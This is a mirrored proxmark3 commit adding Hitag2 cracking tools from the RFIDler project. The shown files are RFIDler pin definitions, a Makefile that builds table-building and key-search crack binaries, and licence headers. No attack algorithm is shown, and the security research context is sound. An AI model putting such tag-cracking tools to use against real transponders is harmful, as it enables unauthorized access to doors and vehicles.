mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-21 13:53:55 -07:00
hitag2crack stuff from RFidlar repo
This commit is contained in:
parent
e4ef7e2af0
commit
317b4c32e5
40 changed files with 9220 additions and 0 deletions
7
tools/hitag2crack/crack2/.gitignore
vendored
Normal file
7
tools/hitag2crack/crack2/.gitignore
vendored
Normal file
|
@ -0,0 +1,7 @@
|
|||
ht2crack2buildtable
|
||||
ht2crack2search
|
||||
ht2crack2gentest
|
||||
|
||||
ht2crack2buildtable.exe
|
||||
ht2crack2search.exe
|
||||
ht2crack2gentest.exe
|
524
tools/hitag2crack/crack2/HardwareProfile.h
Normal file
524
tools/hitag2crack/crack2/HardwareProfile.h
Normal file
|
@ -0,0 +1,524 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
|
||||
|
||||
#ifndef HARDWARE_PROFILE_UBW32_H
|
||||
#define HARDWARE_PROFILE_UBW32_H
|
||||
|
||||
//#include "plib.h"
|
||||
typedef char BOOL;
|
||||
typedef char BYTE;
|
||||
typedef int rtccTime;
|
||||
typedef int rtccDate;
|
||||
|
||||
|
||||
#ifndef __PIC32MX__
|
||||
#define __PIC32MX__
|
||||
#endif
|
||||
|
||||
#define GetSystemClock() (80000000ul)
|
||||
#define GetPeripheralClock() (GetSystemClock())
|
||||
#define GetInstructionClock() (GetSystemClock())
|
||||
|
||||
//#define USE_SELF_POWER_SENSE_IO
|
||||
#define tris_self_power TRISAbits.TRISA2 // Input
|
||||
#define self_power 1
|
||||
|
||||
//#define USE_USB_BUS_SENSE_IO
|
||||
#define tris_usb_bus_sense TRISBbits.TRISB5 // Input
|
||||
#define USB_BUS_SENSE 1
|
||||
|
||||
// LEDs
|
||||
#define mLED_1 LATEbits.LATE3
|
||||
|
||||
#define mLED_2 LATEbits.LATE2
|
||||
#define mLED_Comms mLED_2
|
||||
|
||||
#define mLED_3 LATEbits.LATE1
|
||||
#define mLED_Clock mLED_3
|
||||
|
||||
#define mLED_4 LATEbits.LATE0
|
||||
#define mLED_Emulate mLED_4
|
||||
|
||||
#define mLED_5 LATGbits.LATG6
|
||||
#define mLED_Read mLED_5
|
||||
|
||||
#define mLED_6 LATAbits.LATA15
|
||||
#define mLED_User mLED_6
|
||||
|
||||
#define mLED_7 LATDbits.LATD11
|
||||
#define mLED_Error mLED_7
|
||||
|
||||
// active low
|
||||
#define mLED_ON 0
|
||||
#define mLED_OFF 1
|
||||
|
||||
#define mGetLED_1() mLED_1
|
||||
#define mGetLED_USB() mLED_1
|
||||
#define mGetLED_2() mLED_2
|
||||
#define mGetLED_Comms() mLED_2
|
||||
#define mGetLED_3() mLED_3
|
||||
#define mGetLED_Clock() mLED_3
|
||||
#define mGetLED_4() mLED_4
|
||||
#define mGetLED_Emulate() mLED_4
|
||||
#define mGetLED_5() mLED_5
|
||||
#define mGetLED_Read() mLED_5
|
||||
#define mGetLED_6() mLED_6
|
||||
#define mGetLED_User() mLED_6
|
||||
#define mGetLED_7() mLED_7
|
||||
#define mGetLED_Error() mLED_7
|
||||
|
||||
#define mLED_1_On() mLED_1 = mLED_ON
|
||||
#define mLED_USB_On() mLED_1_On()
|
||||
#define mLED_2_On() mLED_2 = mLED_ON
|
||||
#define mLED_Comms_On() mLED_2_On()
|
||||
#define mLED_3_On() mLED_3 = mLED_ON
|
||||
#define mLED_Clock_On() mLED_3_On()
|
||||
#define mLED_4_On() mLED_4 = mLED_ON
|
||||
#define mLED_Emulate_On() mLED_4_On()
|
||||
#define mLED_5_On() mLED_5 = mLED_ON
|
||||
#define mLED_Read_On() mLED_5_On()
|
||||
#define mLED_6_On() mLED_6 = mLED_ON
|
||||
#define mLED_User_On() mLED_6_On()
|
||||
#define mLED_7_On() mLED_7 = mLED_ON
|
||||
#define mLED_Error_On() mLED_7_On()
|
||||
|
||||
#define mLED_1_Off() mLED_1 = mLED_OFF
|
||||
#define mLED_USB_Off() mLED_1_Off()
|
||||
#define mLED_2_Off() mLED_2 = mLED_OFF
|
||||
#define mLED_Comms_Off() mLED_2_Off()
|
||||
#define mLED_3_Off() mLED_3 = mLED_OFF
|
||||
#define mLED_Clock_Off() mLED_3_Off()
|
||||
#define mLED_4_Off() mLED_4 = mLED_OFF
|
||||
#define mLED_Emulate_Off() mLED_4_Off()
|
||||
#define mLED_5_Off() mLED_5 = mLED_OFF
|
||||
#define mLED_Read_Off() mLED_5_Off()
|
||||
#define mLED_6_Off() mLED_6 = mLED_OFF
|
||||
#define mLED_User_Off() mLED_6_Off()
|
||||
#define mLED_7_Off() mLED_7 = mLED_OFF
|
||||
#define mLED_Error_Off() mLED_7_Off()
|
||||
|
||||
#define mLED_1_Toggle() mLED_1 = !mLED_1
|
||||
#define mLED_USB_Toggle() mLED_1_Toggle()
|
||||
#define mLED_2_Toggle() mLED_2 = !mLED_2
|
||||
#define mLED_Comms_Toggle() mLED_2_Toggle()
|
||||
#define mLED_3_Toggle() mLED_3 = !mLED_3
|
||||
#define mLED_Clock_Toggle() mLED_3_Toggle()
|
||||
#define mLED_4_Toggle() mLED_4 = !mLED_4
|
||||
#define mLED_Emulate_Toggle() mLED_4_Toggle()
|
||||
#define mLED_5_Toggle() mLED_5 = !mLED_5
|
||||
#define mLED_Read_Toggle( ) mLED_5_Toggle()
|
||||
#define mLED_6_Toggle() mLED_6 = !mLED_6
|
||||
#define mLED_User_Toggle() mLED_6_Toggle()
|
||||
#define mLED_7_Toggle() mLED_7 = !mLED_7
|
||||
#define mLED_Error_Toggle() mLED_7_Toggle()
|
||||
|
||||
#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); }
|
||||
#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); }
|
||||
|
||||
// usb status lights
|
||||
#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();}
|
||||
#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();}
|
||||
#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();}
|
||||
#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();}
|
||||
|
||||
/** SWITCH *********************************************************/
|
||||
#define swBootloader PORTEbits.RE7
|
||||
#define swUser PORTEbits.RE6
|
||||
|
||||
/** I/O pin definitions ********************************************/
|
||||
#define INPUT_PIN 1
|
||||
#define OUTPUT_PIN 0
|
||||
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
|
||||
#define ENABLE 1
|
||||
#define DISABE 0
|
||||
|
||||
#define EVEN 0
|
||||
#define ODD 1
|
||||
|
||||
#define LOW FALSE
|
||||
#define HIGH TRUE
|
||||
|
||||
#define CLOCK_ON LOW
|
||||
#define CLOCK_OFF HIGH
|
||||
|
||||
// output coil control - select between reader/emulator circuits
|
||||
#define COIL_MODE LATBbits.LATB4
|
||||
#define COIL_MODE_READER() COIL_MODE= LOW
|
||||
#define COIL_MODE_EMULATOR() COIL_MODE= HIGH
|
||||
|
||||
// coil for emulation
|
||||
#define COIL_OUT LATGbits.LATG9
|
||||
#define COIL_OUT_HIGH() COIL_OUT=HIGH
|
||||
#define COIL_OUT_LOW() COIL_OUT=LOW
|
||||
|
||||
// door relay (active low)
|
||||
#define DOOR_RELAY LATAbits.LATA14
|
||||
#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH
|
||||
#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW
|
||||
|
||||
// inductance/capacitance freq
|
||||
#define IC_FREQUENCY PORTAbits.RA2
|
||||
|
||||
#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect
|
||||
#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue
|
||||
#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue
|
||||
#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue
|
||||
|
||||
// clock coil (normally controlled by OC Module, but defined here so we can force it high or low)
|
||||
#define CLOCK_COIL PORTDbits.RD4
|
||||
#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire
|
||||
|
||||
// digital output after analogue reader circuit
|
||||
#define READER_DATA PORTDbits.RD8
|
||||
|
||||
// trace / debug
|
||||
#define DEBUG_PIN_1 LATCbits.LATC1
|
||||
#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1
|
||||
#define DEBUG_PIN_2 LATCbits.LATC2
|
||||
#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2
|
||||
#define DEBUG_PIN_3 LATCbits.LATC3
|
||||
#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3
|
||||
#define DEBUG_PIN_4 LATEbits.LATE5
|
||||
#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4
|
||||
|
||||
// spi (sdi1) for sd card (not directly referenced)
|
||||
//#define SD_CARD_RX LATCbits.LATC4
|
||||
//#define SD_CARD_TX LATDbits.LATD0
|
||||
//#define SD_CARD_CLK LATDbits.LATD10
|
||||
//#define SD_CARD_SS LATDbits.LATD9
|
||||
// spi for SD card
|
||||
#define SD_CARD_DET LATFbits.LATF0
|
||||
#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it
|
||||
// (held LOW by default - cut solder bridge to GND to free pin if required)
|
||||
#define SPI_SD SPI_CHANNEL1
|
||||
#define SPI_SD_BUFF SPI1BUF
|
||||
#define SPI_SD_STAT SPI1STATbits
|
||||
// see section below for more defines!
|
||||
|
||||
// iso 7816 smartcard
|
||||
// microchip SC module defines pins so we don't need to, but
|
||||
// they are listed here to help avoid conflicts
|
||||
#define ISO_7816_RX LATBbits.LATF2 // RX
|
||||
#define ISO_7816_TX LATBbits.LATF8 // TX
|
||||
#define ISO_7816_VCC LATBbits.LATB9 // Power
|
||||
#define ISO_7816_CLK LATCbits.LATD1 // Clock
|
||||
#define ISO_7816_RST LATEbits.LATE8 // Reset
|
||||
|
||||
// user LED
|
||||
#define USER_LED LATDbits.LATD7
|
||||
#define USER_LED_ON() LATDbits.LATD7=1
|
||||
#define USER_LED_OFF() LATDbits.LATD7=0
|
||||
|
||||
// LCR
|
||||
#define LCR_CALIBRATE LATBbits.LATB5
|
||||
|
||||
// wiegand / clock & data
|
||||
#define WIEGAND_IN_0 PORTDbits.RD5
|
||||
#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14
|
||||
#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14
|
||||
#define WIEGAND_IN_1 PORTDbits.RD6
|
||||
#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15
|
||||
#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15
|
||||
#define CAND_IN_DATA WIEGAND_IN_0
|
||||
#define CAND_IN_CLOCK WIEGAND_IN_1
|
||||
|
||||
#define WIEGAND_OUT_0 LATDbits.LATD3
|
||||
#define WIEGAND_OUT_1 LATDbits.LATD2
|
||||
#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3
|
||||
#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2
|
||||
#define CAND_OUT_DATA WIEGAND_OUT_0
|
||||
#define CAND_OUT_CLOCK WIEGAND_OUT_1
|
||||
|
||||
// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier
|
||||
#define READER_CLOCK_ENABLE LATEbits.LATE9
|
||||
#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON
|
||||
#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;}
|
||||
|
||||
// these input pins must NEVER bet set to output or they will cause short circuits!
|
||||
// they can be used to see data from reader before it goes into or gate
|
||||
#define OR_IN_A PORTAbits.RA4
|
||||
#define OR_IN_B PORTAbits.RA5
|
||||
|
||||
|
||||
// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on
|
||||
#define Init_GPIO() { \
|
||||
CNCONbits.ON= TRUE; \
|
||||
CNENbits.CNEN14= TRUE; \
|
||||
CNENbits.CNEN15= TRUE; \
|
||||
TRISAbits.TRISA2= INPUT_PIN; \
|
||||
TRISAbits.TRISA4= INPUT_PIN; \
|
||||
TRISAbits.TRISA5= INPUT_PIN; \
|
||||
TRISAbits.TRISA14= OUTPUT_PIN; \
|
||||
TRISAbits.TRISA15= OUTPUT_PIN; \
|
||||
TRISBbits.TRISB4= OUTPUT_PIN; \
|
||||
TRISBbits.TRISB5= OUTPUT_PIN; \
|
||||
TRISBbits.TRISB9= OUTPUT_PIN; \
|
||||
TRISBbits.TRISB11= INPUT_PIN; \
|
||||
TRISBbits.TRISB12= INPUT_PIN; \
|
||||
TRISBbits.TRISB13= INPUT_PIN; \
|
||||
TRISCbits.TRISC1= OUTPUT_PIN; \
|
||||
TRISCbits.TRISC2= OUTPUT_PIN; \
|
||||
TRISCbits.TRISC3= OUTPUT_PIN; \
|
||||
TRISCbits.TRISC4= INPUT_PIN; \
|
||||
TRISDbits.TRISD0= INPUT_PIN; \
|
||||
TRISDbits.TRISD1= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD2= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD3= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD4= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD5= INPUT_PIN; \
|
||||
TRISDbits.TRISD6= INPUT_PIN; \
|
||||
TRISDbits.TRISD7= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD8= INPUT_PIN; \
|
||||
TRISDbits.TRISD11= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD12= INPUT_PIN; \
|
||||
TRISEbits.TRISE0= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE1= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE2= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE3= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE5= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE6= INPUT_PIN; \
|
||||
TRISEbits.TRISE7= INPUT_PIN; \
|
||||
TRISEbits.TRISE8= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE9= OUTPUT_PIN; \
|
||||
TRISFbits.TRISF0= INPUT_PIN; \
|
||||
TRISFbits.TRISF1= INPUT_PIN; \
|
||||
TRISFbits.TRISF2= INPUT_PIN; \
|
||||
TRISFbits.TRISF8= OUTPUT_PIN; \
|
||||
TRISGbits.TRISG6= OUTPUT_PIN; \
|
||||
TRISGbits.TRISG12= INPUT_PIN; \
|
||||
TRISGbits.TRISG13= INPUT_PIN; \
|
||||
TRISGbits.TRISG9= OUTPUT_PIN; \
|
||||
LATBbits.LATB9= LOW; \
|
||||
LATCbits.LATC1= LOW; \
|
||||
LATCbits.LATC2= LOW; \
|
||||
LATCbits.LATC3= LOW; \
|
||||
LATDbits.LATD2= WIEGAND_IN_1; \
|
||||
LATDbits.LATD3= WIEGAND_IN_0; \
|
||||
LATEbits.LATE5= LOW; \
|
||||
LATEbits.LATE9= HIGH; \
|
||||
}
|
||||
|
||||
// uart3 (CLI/API) speed
|
||||
#define BAUDRATE3 115200UL
|
||||
#define BRG_DIV3 4
|
||||
#define BRGH3 1
|
||||
|
||||
// spi for potentiometer
|
||||
#define SPI_POT SPI_CHANNEL4
|
||||
#define SPI_POT_BUFF SPI4BUF
|
||||
#define SPI_POT_STAT SPI4STATbits
|
||||
|
||||
// spi for sd card - defines required for Microchip SD-SPI libs
|
||||
// define interface type
|
||||
#define USE_SD_INTERFACE_WITH_SPI
|
||||
|
||||
#define MDD_USE_SPI_1
|
||||
#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON)
|
||||
#define SPI_START_CFG_2 (SPI_ENABLE)
|
||||
// Define the SPI frequency
|
||||
#define SPI_FREQUENCY (20000000)
|
||||
// Description: SD-SPI Card Detect Input bit
|
||||
#define SD_CD PORTFbits.RF0
|
||||
// Description: SD-SPI Card Detect TRIS bit
|
||||
#define SD_CD_TRIS TRISFbits.TRISF0
|
||||
// Description: SD-SPI Write Protect Check Input bit
|
||||
#define SD_WE PORTFbits.RF1
|
||||
// Description: SD-SPI Write Protect Check TRIS bit
|
||||
#define SD_WE_TRIS TRISFbits.TRISF1
|
||||
// Description: The main SPI control register
|
||||
#define SPICON1 SPI1CON
|
||||
// Description: The SPI status register
|
||||
#define SPISTAT SPI1STAT
|
||||
// Description: The SPI Buffer
|
||||
#define SPIBUF SPI1BUF
|
||||
// Description: The receive buffer full bit in the SPI status register
|
||||
#define SPISTAT_RBF SPI1STATbits.SPIRBF
|
||||
// Description: The bitwise define for the SPI control register (i.e. _____bits)
|
||||
#define SPICON1bits SPI1CONbits
|
||||
// Description: The bitwise define for the SPI status register (i.e. _____bits)
|
||||
#define SPISTATbits SPI1STATbits
|
||||
// Description: The enable bit for the SPI module
|
||||
#define SPIENABLE SPICON1bits.ON
|
||||
// Description: The definition for the SPI baud rate generator register (PIC32)
|
||||
#define SPIBRG SPI1BRG
|
||||
// Description: The TRIS bit for the SCK pin
|
||||
#define SPICLOCK TRISDbits.TRISD10
|
||||
// Description: The TRIS bit for the SDI pin
|
||||
#define SPIIN TRISCbits.TRISC4
|
||||
// Description: The TRIS bit for the SDO pin
|
||||
#define SPIOUT TRISDbits.TRISD0
|
||||
#define SD_CS LATDbits.LATD9
|
||||
// Description: SD-SPI Chip Select TRIS bit
|
||||
#define SD_CS_TRIS TRISDbits.TRISD9
|
||||
//SPI library functions
|
||||
#define putcSPI putcSPI1
|
||||
#define getcSPI getcSPI1
|
||||
#define OpenSPI(config1, config2) OpenSPI1(config1, config2)
|
||||
|
||||
// Define setup parameters for OpenADC10 function
|
||||
// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample
|
||||
#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON)
|
||||
// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode
|
||||
#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
|
||||
|
||||
// Use ADC internal clock | Set sample time
|
||||
#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0)
|
||||
|
||||
// slow sample rate for tuning coils
|
||||
#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
|
||||
#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31)
|
||||
|
||||
// use AN11
|
||||
#define ADC_CONFIGPORT ENABLE_AN11_ANA
|
||||
// Do not assign channels to scan
|
||||
#define ADC_CONFIGSCAN SKIP_SCAN_ALL
|
||||
|
||||
#define ADC_TO_VOLTS 0.003208F
|
||||
|
||||
|
||||
// flash memory - int myvar = *(int*)(myflashmemoryaddress);
|
||||
|
||||
// memory is 0x9D005000 to 0x9D07FFFF
|
||||
|
||||
#define NVM_MEMORY_END 0x9D07FFFF
|
||||
#define NVM_PAGE_SIZE 4096
|
||||
#define NVM_PAGES 2 // config & VTAG
|
||||
#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES))
|
||||
|
||||
// UART timeout in us
|
||||
#define SERIAL_TIMEOUT 100
|
||||
|
||||
#endif
|
26
tools/hitag2crack/crack2/Makefile
Normal file
26
tools/hitag2crack/crack2/Makefile
Normal file
|
@ -0,0 +1,26 @@
|
|||
WARN=-Wall
|
||||
INCLUDE=-I../include
|
||||
CFLAGS=-c $(WARN) $(INCLUDE)
|
||||
# Linux libs
|
||||
LIBS=-pthread -D_GNU_SOURCE
|
||||
# Mac libs
|
||||
# LIBS=
|
||||
|
||||
all: ht2crack2buildtable.c ht2crack2search.c ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o
|
||||
cc $(WARN) -o ht2crack2buildtable ht2crack2buildtable.c hitagcrypto.o ht2crack2utils.o $(LIBS)
|
||||
cc $(WARN) -o ht2crack2search ht2crack2search.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS)
|
||||
cc $(WARN) -o ht2crack2gentest ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS)
|
||||
|
||||
ht2crack2utils.o: ht2crack2utils.c ht2crack2utils.h
|
||||
cc $(CFLAGS) ht2crack2utils.c
|
||||
|
||||
hitagcrypto.o: hitagcrypto.c hitagcrypto.h
|
||||
cc $(CFLAGS) hitagcrypto.c
|
||||
|
||||
utilpart.o: utilpart.c util.h
|
||||
cc $(CFLAGS) utilpart.c
|
||||
|
||||
clean:
|
||||
rm -rf *.o ht2crack2buildtable ht2crack2search ht2crack2gentest
|
||||
|
||||
fresh: clean all
|
487
tools/hitag2crack/crack2/hitagcrypto.c
Normal file
487
tools/hitag2crack/crack2/hitagcrypto.c
Normal file
|
@ -0,0 +1,487 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
